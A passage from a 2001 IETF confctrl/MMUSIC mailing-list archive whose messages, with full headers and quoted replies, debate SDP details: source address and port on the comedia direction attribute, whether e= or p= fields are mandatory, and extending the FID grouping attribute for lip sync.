Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Wed Jun 13 10:25:10 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA00347
	for confctrl-outgoing; Wed, 13 Jun 2001 10:25:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA00341
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jun 2001 10:25:08 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5DHP6Z19012
	for <confctrl@ISI.EDU>; Wed, 13 Jun 2001 10:25:06 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5DHNZX23969;
	Wed, 13 Jun 2001 13:23:35 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAU08641 (AUTH pkyzivat);
	Wed, 13 Jun 2001 13:24:58 -0400 (EDT)
Message-ID: <3B27A104.DC20F1AD@cisco.com>
Date: Wed, 13 Jun 2001 13:21:08 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <yon@dialout.net>
CC: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors]problemindraft-ietf-mmusic-sdp-comedia-00?
References: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com>
	 <5.0.2.1.2.20010612171010.00acc120@mail.dialout.net> <5.0.2.1.2.20010613125326.038e3ec8@mail.dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

What you propose seems reasonable to me. But if you are going to go that
far, why not go one step further:

 qualified-direction = direction-ident |
                          direction-ident address port

on the assumption that if able to supply the address then ought to be
able to specify the port as well, and that having one without the other
isn't very useful.

	Paul

David Yon wrote:
> 
> At 06:34 PM 6/12/2001, Paul Kyzivat wrote:
> 
> >3) comedia draft changed to have optional address (in addition to
> >port) on a:direction line. If address is present, it represents the
> >address from which the active party will connect. If absent, connect
> >may come from any address.
> 
> Ok, if nobody has any problem with the above, I will update the comedia
> draft accordingly and clarify that the c= line does not imply a source
> address.  In addition, I'd like to make a final proposal for how the source
> address is added to the direction attribute:
> 
> qualified-direction = direction-ident |
>                          direction-ident address |
>                          direction-ident address port
> 
> This essentially makes the address non-optional if the endpoint specifies a
> source port.  The rationale is that if the endpoint is able to specify a
> port it is also likely to be able to specify a source address, and if the
> endpoint felt it was necessary to specify the port then in virtually all
> cases it would also be necessary to specify the address.  I've also swapped
> the order from my first proposal---having the address come first seems more
> natural.
> 
> Thoughts?  Objections?
> 
> David Yon
> Chief Technical Officer
> Dialout.Net, Inc.
> 402 Amherst St.
> Nashua, NH 03063
> Voice   +1-603-577-8708 x206
> Fax     +1-603-578-9564
> yon@dialout.net

From confctrl-owner  Wed Jun 13 11:22:17 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA04015
	for confctrl-outgoing; Wed, 13 Jun 2001 11:22:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA04010
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jun 2001 11:22:16 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5DIMHZ14579
	for <confctrl@ISI.EDU>; Wed, 13 Jun 2001 11:22:18 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yon-lattitude.tactical-sw.com [10.0.0.57] (may be forged))
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id OAA01231;
	Wed, 13 Jun 2001 14:22:45 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010613141625.038e3ec8@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 13 Jun 2001 14:21:25 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>
From: David Yon <yon@dialout.net>
Subject: Re:
  [Sip-implementors]problemindraft-ietf-mmusic-sdp-comedia-00?
Cc: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        MMUSIC <confctrl@ISI.EDU>
In-Reply-To: <3B27A104.DC20F1AD@cisco.com>
References: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com>
 <5.0.2.1.2.20010612171010.00acc120@mail.dialout.net>
 <5.0.2.1.2.20010613125326.038e3ec8@mail.dialout.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Earlier in comedia's history there was the concern that some environments 
are not able to determine an ephemeral port number prior to connection.  I 
don't think it adds significant complexity to make the port always 
optional.  There may be topologies where knowing the address is sufficient 
and would allow the less flexible coding environments to work.

That said, there is currently a strong caveat in comedia in regards to 
omitting the port, and the same tone will be used for the notion of 
omitting the address.

At 01:21 PM 6/13/2001, Paul Kyzivat wrote:
>What you propose seems reasonable to me. But if you are going to go that
>far, why not go one step further:
>
>  qualified-direction = direction-ident |
>                           direction-ident address port
>
>on the assumption that if able to supply the address then ought to be
>able to specify the port as well, and that having one without the other
>isn't very useful.
>
>         Paul
>
>David Yon wrote:
> >
> > At 06:34 PM 6/12/2001, Paul Kyzivat wrote:
> >
> > >3) comedia draft changed to have optional address (in addition to
> > >port) on a:direction line. If address is present, it represents the
> > >address from which the active party will connect. If absent, connect
> > >may come from any address.
> >
> > Ok, if nobody has any problem with the above, I will update the comedia
> > draft accordingly and clarify that the c= line does not imply a source
> > address.  In addition, I'd like to make a final proposal for how the source
> > address is added to the direction attribute:
> >
> > qualified-direction = direction-ident |
> >                          direction-ident address |
> >                          direction-ident address port
> >
> > This essentially makes the address non-optional if the endpoint specifies a
> > source port.  The rationale is that if the endpoint is able to specify a
> > port it is also likely to be able to specify a source address, and if the
> > endpoint felt it was necessary to specify the port then in virtually all
> > cases it would also be necessary to specify the address.  I've also swapped
> > the order from my first proposal---having the address come first seems more
> > natural.
> >
> > Thoughts?  Objections?
> >
> > David Yon
> > Chief Technical Officer
> > Dialout.Net, Inc.
> > 402 Amherst St.
> > Nashua, NH 03063
> > Voice   +1-603-577-8708 x206
> > Fax     +1-603-578-9564
> > yon@dialout.net


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Wed Jun 13 13:24:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA11813
	for confctrl-outgoing; Wed, 13 Jun 2001 13:24:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA11808
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jun 2001 13:24:21 -0700 (PDT)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5DKOMZ03613;
	Wed, 13 Jun 2001 13:24:22 -0700 (PDT)
Received: from sj-msg-av-2.cisco.com (sj-msg-av-2.cisco.com [171.69.24.12])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f5DKOMk26037;
	Wed, 13 Jun 2001 13:24:22 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-2.cisco.com (8.10.1/8.10.1) with ESMTP id f5DKOEL18283;
	Wed, 13 Jun 2001 13:24:14 -0700 (PDT)
Received: from cisco.com (dhcp-edison-119.cisco.com [171.68.78.119]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id NAA23386; Wed, 13 Jun 2001 13:24:13 -0700 (PDT)
Message-ID: <3B27CC43.8E777366@cisco.com>
Date: Wed, 13 Jun 2001 16:25:39 -0400
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, Colin Perkins <csp@ISI.EDU>
Subject: [Fwd: [Sip] Few tiny issues with SDP section of bis3]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Can somebody clarify if either an email address ("e=") or phone number ("p=") MUST
be present in SDP. The spec doesn't seem entirely clear on this.


Thanks

        Flemming


Anders Kristensen wrote:

> They're optional in the grammar, but the accompanying text seems
> perfectly clear that one or the other must be present. Sometimes it's
> more convenient to state requirements in english than BNF - doesn't mean
> it's not part of the spec. I'm pretty sure that the quoted sentence is
> the only reason it's required for SIP.
>
> Anders
>
> Mohsen Soroush-nejad wrote:
> >
> > Section 6 of RFC 2327 lists all the SDP fields. The optional
> > fields are identified by "*". "e" & "p" are identified as optional....
> >
> > Mohsen
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Wednesday, June 13, 2001 12:17 PM
> > To: Anders Kristensen
> > Cc: Jonathan Rosenberg; 'Cullen Jennings'; sip@ietf.org
> > Subject: Re: [Sip] Few tiny issues with SDP section of bis3
> >
> > That's far from clear if you read it in the context it was provided in.
> > Also, do
> > note that both of these fields are in fact listed as optional earlier in the
> > spec.
> >
> > -- Flemming
> >
> > Anders Kristensen wrote:
> >
> > > It's required by RFC 2327 (no idea why, though:
> > >
> > >    o Either an email field or a phone field must be specified.
> > >      Additional email and phone fields are allowed.
> > >
> > > Thanks,
> > > Anders
> > >
> > > Flemming Andreasen wrote:
> > > >
> > > > Jonathan Rosenberg wrote:
> > > >
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Cullen Jennings [mailto:fluffy@cisco.com]
> > > > > > Sent: Monday, June 11, 2001 3:15 PM
> > > > > > To: sip@ietf.org
> > > > > > Subject: [Sip] Few tiny issues with SDP section of bis3
> > > > > >
> > > > > >
> > > > > >
> > > > > > Examples in section B don't have an e or P line in the SDP
> > > > > > even though one
> > > > > > them must be present.
> > > > >
> > > > > OK, I fixed that.
> > > >
> > > > Speaking of that: Why is there now a requirement in the SDP section
> > stating
> > > > that "Either an e line or p line MUST be present." ?
> > > >
> > > > -- Flemming
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > > _______________________________________________
> > > > Sip mailing list
> > > > Sip@ietf.org
> > > > http://www.ietf.org/mailman/listinfo/sip
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> > _______________________________________________
> > Sip mailing list
> > Sip@ietf.org
> > http://www.ietf.org/mailman/listinfo/sip

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Wed Jun 13 14:42:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA16775
	for confctrl-outgoing; Wed, 13 Jun 2001 14:42:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA16757
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jun 2001 14:42:44 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5DLgjZ02008;
	Wed, 13 Jun 2001 14:42:45 -0700 (PDT)
Received: from mira-sjc5-8.cisco.com (mira-sjc5-8.cisco.com [171.71.163.31])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f5DLghU20604;
	Wed, 13 Jun 2001 14:42:43 -0700 (PDT)
Received: from RKUMAR-W2K.cisco.com (dhcp-171-71-9-146.cisco.com [171.71.9.146])
	by mira-sjc5-8.cisco.com (Mirapoint)
	with ESMTP id AAU47495 (AUTH rkumar);
	Wed, 13 Jun 2001 14:42:31 -0700 (PDT)
Message-Id: <4.3.2.7.2.20010613143948.00b3b718@mira-sjc5-8.cisco.com>
X-Sender: rkumar@mira-sjc5-8.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 13 Jun 2001 14:42:05 -0700
To: Flemming Andreasen <fandreas@cisco.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Re: [Fwd: [Sip] Few tiny issues with SDP section of bis3]
Cc: confctrl@ISI.EDU, Colin Perkins <csp@ISI.EDU>
In-Reply-To: <3B27CC43.8E777366@cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

rfc2327  annotates them with a "*" and further says: Optional items are 
marked with a "*".

I take this to mean that these are optional. When using it in the context 
of SIP, this convention should be followed. Further, I believe this 
convention has been retained in the on-going SDP work, right?

Rajesh

At 04:25 PM 6/13/2001 -0400, Flemming Andreasen wrote:
>Can somebody clarify if either an email address ("e=") or phone number 
>("p=") MUST
>be present in SDP. The spec doesn't seem entirely clear on this.
>
>
>Thanks
>
>         Flemming
>
>
>Anders Kristensen wrote:
>
> > They're optional in the grammar, but the accompanying text seems
> > perfectly clear that one or the other must be present. Sometimes it's
> > more convenient to state requirements in english than BNF - doesn't mean
> > it's not part of the spec. I'm pretty sure that the quoted sentence is
> > the only reason it's required for SIP.
> >
> > Anders
> >
> > Mohsen Soroush-nejad wrote:
> > >
> > > Section 6 of RFC 2327 lists all the SDP fields. The optional
> > > fields are identified by "*". "e" & "p" are identified as optional....
> > >
> > > Mohsen
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > Sent: Wednesday, June 13, 2001 12:17 PM
> > > To: Anders Kristensen
> > > Cc: Jonathan Rosenberg; 'Cullen Jennings'; sip@ietf.org
> > > Subject: Re: [Sip] Few tiny issues with SDP section of bis3
> > >
> > > That's far from clear if you read it in the context it was provided in.
> > > Also, do
> > > note that both of these fields are in fact listed as optional earlier 
> in the
> > > spec.
> > >
> > > -- Flemming
> > >
> > > Anders Kristensen wrote:
> > >
> > > > It's required by RFC 2327 (no idea why, though:
> > > >
> > > >    o Either an email field or a phone field must be specified.
> > > >      Additional email and phone fields are allowed.
> > > >
> > > > Thanks,
> > > > Anders
> > > >
> > > > Flemming Andreasen wrote:
> > > > >
> > > > > Jonathan Rosenberg wrote:
> > > > >
> > > > > >
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Cullen Jennings [mailto:fluffy@cisco.com]
> > > > > > > Sent: Monday, June 11, 2001 3:15 PM
> > > > > > > To: sip@ietf.org
> > > > > > > Subject: [Sip] Few tiny issues with SDP section of bis3
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Examples in section B don't have an e or P line in the SDP
> > > > > > > even though one
> > > > > > > them must be present.
> > > > > >
> > > > > > OK, I fixed that.
> > > > >
> > > > > Speaking of that: Why is there now a requirement in the SDP section
> > > stating
> > > > > that "Either an e line or p line MUST be present." ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > > _______________________________________________
> > > > > Sip mailing list
> > > > > Sip@ietf.org
> > > > > http://www.ietf.org/mailman/listinfo/sip
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> > >
> > > _______________________________________________
> > > Sip mailing list
> > > Sip@ietf.org
> > > http://www.ietf.org/mailman/listinfo/sip
>
>--
>Flemming Andreasen
>Cisco Systems

  Rajesh
--------------------------------------------------------
Rajesh Kumar
Cisco Voice Technology Center
Tel: 408-527-0811, Fax: 408-853-1101
Epage: mailto:rkumar@epage.cisco.com
------------------------------------------------ --------



From confctrl-owner  Wed Jun 13 21:02:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA09099
	for confctrl-outgoing; Wed, 13 Jun 2001 21:02:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA09094
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jun 2001 21:02:50 -0700 (PDT)
Received: from purple.east.isi.edu (purpleish.east.isi.edu [38.245.76.9])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5E42pZ10595
	for <confctrl@isi.edu>; Wed, 13 Jun 2001 21:02:51 -0700 (PDT)
Received: from purple (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.9.3) with ESMTP id WAA02544;
	Wed, 13 Jun 2001 22:20:33 -0400
Message-Id: <200106140220.WAA02544@purple.east.isi.edu>
To: Rajesh Kumar <rkumar@cisco.com>
cc: Flemming Andreasen <fandreas@cisco.com>, confctrl@ISI.EDU
Subject: Re: [Fwd: [Sip] Few tiny issues with SDP section of bis3] 
In-Reply-To: Your message of "Wed, 13 Jun 2001 14:42:05 PDT."
             <4.3.2.7.2.20010613143948.00b3b718@mira-sjc5-8.cisco.com> 
Date: Wed, 13 Jun 2001 22:20:33 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It seems that any mandatory use of p= or e= is a hang over from the
original use of SDP with SAP. I don't see that it necessarily makes
sense with many current uses of SDP.

We should clarify this in the revision of SDP, does someone want to
suggest wording changes to the draft?
Colin



--> Rajesh Kumar writes:
>rfc2327  annotates them with a "*" and further says: Optional items are 
>marked with a "*".
>
>I take this to mean that these are optional. When using it in the context 
>of SIP, this convention should be followed. Further, I believe this 
>convention has been retained in the on-going SDP work, right?
>
>Rajesh
>
>At 04:25 PM 6/13/2001 -0400, Flemming Andreasen wrote:
>>Can somebody clarify if either an email address ("e=") or phone number 
>>("p=") MUST
>>be present in SDP. The spec doesn't seem entirely clear on this.
>>
>>
>>Thanks
>>
>>         Flemming
>>
>>
>>Anders Kristensen wrote:
>>
>> > They're optional in the grammar, but the accompanying text seems
>> > perfectly clear that one or the other must be present. Sometimes it's
>> > more convenient to state requirements in english than BNF - doesn't mean
>> > it's not part of the spec. I'm pretty sure that the quoted sentence is
>> > the only reason it's required for SIP.
>> >
>> > Anders
>> >
>> > Mohsen Soroush-nejad wrote:
>> > >
>> > > Section 6 of RFC 2327 lists all the SDP fields. The optional
>> > > fields are identified by "*". "e" & "p" are identified as optional....
>> > >
>> > > Mohsen
>> > > -----Original Message-----
>> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
>> > > Sent: Wednesday, June 13, 2001 12:17 PM
>> > > To: Anders Kristensen
>> > > Cc: Jonathan Rosenberg; 'Cullen Jennings'; sip@ietf.org
>> > > Subject: Re: [Sip] Few tiny issues with SDP section of bis3
>> > >
>> > > That's far from clear if you read it in the context it was provided in.
>> > > Also, do
>> > > note that both of these fields are in fact listed as optional earlier 
>> in the
>> > > spec.
>> > >
>> > > -- Flemming
>> > >
>> > > Anders Kristensen wrote:
>> > >
>> > > > It's required by RFC 2327 (no idea why, though:
>> > > >
>> > > >    o Either an email field or a phone field must be specified.
>> > > >      Additional email and phone fields are allowed.
>> > > >
>> > > > Thanks,
>> > > > Anders
>> > > >
>> > > > Flemming Andreasen wrote:
>> > > > >
>> > > > > Jonathan Rosenberg wrote:
>> > > > >
>> > > > > >
>> > > > > >
>> > > > > > > -----Original Message-----
>> > > > > > > From: Cullen Jennings [mailto:fluffy@cisco.com]
>> > > > > > > Sent: Monday, June 11, 2001 3:15 PM
>> > > > > > > To: sip@ietf.org
>> > > > > > > Subject: [Sip] Few tiny issues with SDP section of bis3
>> > > > > > >
>> > > > > > >
>> > > > > > >
>> > > > > > > Examples in section B don't have an e or P line in the SDP
>> > > > > > > even though one
>> > > > > > > them must be present.
>> > > > > >
>> > > > > > OK, I fixed that.
>> > > > >
>> > > > > Speaking of that: Why is there now a requirement in the SDP section
>> > > stating
>> > > > > that "Either an e line or p line MUST be present." ?
>> > > > >
>> > > > > -- Flemming
>> > > > >
>> > > > > --
>> > > > > Flemming Andreasen
>> > > > > Cisco Systems
>> > > > >
>> > > > > _______________________________________________
>> > > > > Sip mailing list
>> > > > > Sip@ietf.org
>> > > > > http://www.ietf.org/mailman/listinfo/sip
>> > >
>> > > --
>> > > Flemming Andreasen
>> > > Cisco Systems
>> > >
>> > > _______________________________________________
>> > > Sip mailing list
>> > > Sip@ietf.org
>> > > http://www.ietf.org/mailman/listinfo/sip
>>
>>--
>>Flemming Andreasen
>>Cisco Systems
>
>  Rajesh
>--------------------------------------------------------
>Rajesh Kumar
>Cisco Voice Technology Center
>Tel: 408-527-0811, Fax: 408-853-1101
>Epage: mailto:rkumar@epage.cisco.com
>------------------------------------------------ --------
>
>

From confctrl-owner  Thu Jun 14 06:44:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA05329
	for confctrl-outgoing; Thu, 14 Jun 2001 06:44:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA05324
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jun 2001 06:44:55 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5EDivZ15762
	for <confctrl@ISI.EDU>; Thu, 14 Jun 2001 06:44:58 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f5EDitN01283;
	Thu, 14 Jun 2001 15:44:55 +0200 (MEST)
Received: from lmf.ericsson.se (DEPCP2055.usa.ehpt.com [142.133.141.48] (may be forged))
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id PAA07778;
	Thu, 14 Jun 2001 15:45:19 +0200 (MET DST)
Message-ID: <3B28C17B.6BE755FE@lmf.ericsson.se>
Date: Thu, 14 Jun 2001 16:51:55 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Joerg Ott <jo@ipdialog.com>
CC: mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: Re: FID Draft - again
References: <3B1E1B7D.D9420AB0@ipdialog.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello Joerg,

Since we have not received any comments during the last week, I guess we
should proceed to WG last call with the 01 version of the draft.

Best regards,

Gonzalo

Joerg Ott wrote:
> 
> All:
> 
> After the debate on the mailing list, we have exchanged a couple of further
> messages -- and I have received a few comments privately, in favor of and
> against extending the scope of fid.
> 
> I would like to briefly re-examine the issue to come to a conclusion on this:
> 
> The idea present on the table for quite some time now, implemented by various
> companies, and agreed upon at the last IETF is a single attribute a=fid: to
> identify different RTP media sessions that belong together and may be used
> to convey the same information.
> 
> The extension as proposed by Orit and backed by a number of other is to
> generalize the fid field (and possibly call it "mid") and devote two
> attributes to describe what the semantics are.  As a result, each media
> description can be coupled with one or more other media descriptions.
> 
> The purpose to support lip sync has different semantics than purpose of fid
> for alternate codecs.  While one performs a logical grouping of media streams
> conveying complementary information (e.g. audio and video) (fid for lip sync),
> the other defines a way to identify alternative streams to convey the same
> information.  The semantics is to be expressed by means of an a=fpar: attribute
> (indicating "lip sync" or "application specific" or something else).
> More than one of such groupings shall be allowed per stream.
> 
> For basic SIP multimedia calls the problem is currently solved by having
> one m= audio and one m= video lines in the SDP and implicitly assuming
> that those streams belong together.  If you propose multiple media streams
> of a single type, something like the attribute suggested by Orit is needed
> to associate two or more media streams.  This would allow you to have e.g.
> two m= audio and two m= video lines -- and you could tell which ones belong
> together (but it does by no means support assigning any particular semantics
> to either of the media streams).
> 
> What I have not seen so far, however, is an argument that we are solving a
> real world problem right now by doing the extension.  Whicj kind of
> application (of today or tomorrow, not next week) do you have in mind
> where you convey multiple multimedia stream descriptions between two
> SIP UAs?
> 
> I can see a distinction between two cases:
> 
> a) Conference Bridge
> 
> Assume I have a conference bridge (which seems to be the primary motivation
> at the moment).  In this case, I may be offering a number of audio and video
> codecs to each conference participant and let them choose independently.
> Nevertheless, I am offering exactly one peer of media streams to each
> participant, irrespective of the codec chosen.  You would imply that you
> are to correlate those two media streams (similarly to many other implicit
> assumptions of using SDP).  Now if your conference bridge does not perform
> mixing or switching of any kind, you have the CNAME/SSRC identifiers of the
> various streams to match them at the receiver.  (Note that different logical
> sources at a single host could well use different CNAMEs.)
> 
> What do you need the lip sync field for?
> 
> b) Media streams between two gateways
> 
> In case you have two media gateways (or two conference bridges) I can only see
> a potential need if you were carrying several media stream peers as part of the
> same call.  Again, you have the CNAME/SSRC fields for identification.
> 
> In any case, I assume you could use multipart bodies with several SDPs to
> have all the grouping you need for the moment -- if all you want to do is
> lip sync for several simultaneous media streams between two peers.
> 
> I don't want to argue this idea to death -- but I want to get a clear feeling
> that what we are doing here is really necessary.
> 
> In the meantime, Gonzalo Camarillo has been so kind to volunteer to compile
> a merged version of both proposals (if needed) -- but, again, I'd like to be
> sure that this is needed.
> 
> We will move ahead with a consensus either way -- but none of those speaking
> in favor of the extension on the list have made a clear case so far why they
> need this very feature and why it can't be done in a different (already
> defined or implied way).
> 
> And I would like to repeat that we'd prefer to have people contribute to SDPng
> instead of arguing that it is prelimenary right now and that they need INTERIM
> solutions.
> 
> Cheers,
> Joerg
> 
>   ------------------------------------------------------------------------
> 
> Subject: FID Draft - again
> Date: Fri, 01 Jun 2001 16:34:20 +0200
> From: Joerg Ott <jo@tzi.uni-bremen.de>
> Reply-To: csp@isi.edu
> To: csp@isi.edu
> CC: gonzalo.camarillo@lmf.ericsson.se
> Followup-To: csp@isi.edu
> 
> Here comes a proposed mail for the mailing list.  Please comment.
> (not to be run THROUGH Colin, actually... ;-)
> 
> Any comments?
> 
> Thanks,
> Joerg
> 
> ----------------------------------------------------------------------------
> 
> All:
> 
> After the debate on the mailing list, we have exchanged a couple of further
> messages -- and I have received a few comments privately, in favor of and
> against extending the scope of fid.
> 
> I would like to briefly re-examine the issue to come to a conclusion on this:
> 
> The idea present on the table for quite some time now, implemented by various
> companies, and agreed upon at the last IETF is a single attribute a=fid: to
> identify different RTP media sessions that belong together and may be used
> to convey the same information.
> 
> The extension as proposed by Orit and backed by a number of other is to
> generalize the fid field (and possibly call it "mid") and devote two
> attributes to describe what the semantics are.  As a result, each media
> description can be coupled with one or more other media descriptions.
> 
> The purpose to support lip sync has different semantics than purpose of fid
> for alternate codecs.  While one performs a logical grouping of media streams
> conveying complementary information (e.g. audio and video) (fid for lip sync),
> the other defines a way to identify alternative streams to convey the same
> information.  The semantics is to be expressed by means of an a=fpar: attribute
> (indicating "lip sync" or "application specific" or something else).
> More than one of such groupings shall be allowed per stream.
> 
> For basic SIP multimedia calls the problem is currently solved by having
> one m= audio and one m= video lines in the SDP and implicitly assuming
> that those streams belong together.  If you propose multiple media streams
> of a single type, something like the attribute suggested by Orit is needed
> to associate two or more media streams.  This would allow you to have e.g.
> two m= audio and two m= video lines -- and you could tell which ones belong
> together (but it does by no means support assigning any particular semantics
> to either of the media streams).
> 
> What I have not seen so far, however, is an argument that we are solving a
> real world problem right now by doing the extension.  Whicj kind of
> application (of today or tomorrow, not next week) do you have in mind
> where you convey multiple multimedia stream descriptions between two
> SIP UAs?
> 
> I can see a distinction between two cases:
> 
> a) Conference Bridge
> 
> Assume I have a conference bridge (which seems to be the primary motivation
> at the moment).  In this case, I may be offering a number of audio and video
> codecs to each conference participant and let them choose independently.
> Nevertheless, I am offering exactly one peer of media streams to each
> participant, irrespective of the codec chosen.  You would imply that you
> are to correlate those two media streams (similarly to many other implicit
> assumptions of using SDP).  Now if your conference bridge does not perform
> mixing or switching of any kind, you have the CNAME/SSRC identifiers of the
> various streams to match them at the receiver.  (Note that different logical
> sources at a single host could well use different CNAMEs.)
> 
> What do you need the lip sync field for?
> 
> b) Media streams between two gateways
> 
> In case you have two media gateways (or two conference bridges) I can only see
> a potential need if you were carrying several media stream peers as part of the
> same call.  Again, you have the CNAME/SSRC fields for identification.
> 
> In any case, I assume you could use multipart bodies with several SDPs to
> have all the grouping you need for the moment -- if all you want to do is
> lip sync for several simultaneous media streams between two peers.
> 
> I don't want to argue this idea to death -- but I want to get a clear feeling
> that what we are doing here is really necessary.
> 
> In the meantime, Gonzalo Camarillo has been so kind to volunteer to compile
> a merged version of both proposals (if needed) -- but, again, I'd like to be
> sure that this is needed.
> 
> We will move ahead with a consensus either way -- but none of those speaking
> in favor of the extension on the list have made a clear case so far why they
> need this very feature and why it can't be done in a different (already
> defined or implied way).
> 
> And I would like to repeat that we'd prefer to have people contribute to SDPng
> instead of arguing that it is prelimenary right now and that they need INTERIM
> solutions.
> 
